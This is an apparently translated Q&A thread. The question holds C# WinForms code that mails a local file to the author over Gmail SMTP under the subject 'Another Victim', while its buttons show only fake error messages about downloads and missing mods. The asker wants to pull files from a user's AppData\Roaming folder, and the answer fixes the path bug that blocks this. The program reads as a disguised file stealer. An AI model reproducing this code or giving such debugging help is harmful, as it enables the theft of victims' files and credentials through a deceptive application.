0
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Mail;

namespace WindowsFormsApplication1
{
  public partial class Form1 : Form
  {
    public Form1()
    {
      InitializeComponent();
    }

    public void email_send()
    {
      MailMessage mail = new MailMessage();
      SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");//the smtp server
      mail.From = new MailAddress("my email@gmail.com");//my email adress
      mail.To.Add("to_mail@gmail.com");
      mail.Subject = "Anouther Victom";
      mail.Body = "mail with attachment";

      System.Net.Mail.Attachment attachment;
      attachment = new System.Net.Mail.Attachment("C:\test.txt"); //attachment file location
      mail.Attachments.Add(attachment);

      SmtpServer.Port = 587;
      SmtpServer.Credentials = new System.Net.NetworkCredential("my email@hotmail.com", "password");
      SmtpServer.EnableSsl = true;

      SmtpServer.Send(mail);
    }

    private void button1_Click(object sender, EventArgs e)
    {
      MessageBox.Show("Error retriving download url sorce check you url or serch the help guid  for help solving this error");
    }

    private void button2_Click(object sender, EventArgs e)
    {
      MessageBox.Show("Error no mod discoverd inside of resorce file");
    }
  }
}

这不会发送我想要的电子邮件,并且当我尝试提供大于 c\file.txt 的文件路径但它不会理解 C:\Users\George\AppData\Roaming 或我希望它复制资源的任何扩展名时文件并将其通过电子邮件发送给我以帮助应用程序开发。

4

1 回答 1

3

你的问题是"C:\test.txt""\t"被解释为一个标签。您想使用字符串文字@"C:\test.txt"或转义反斜杠"C:\\test.txt"

于 2013-05-30T13:18:34.593 回答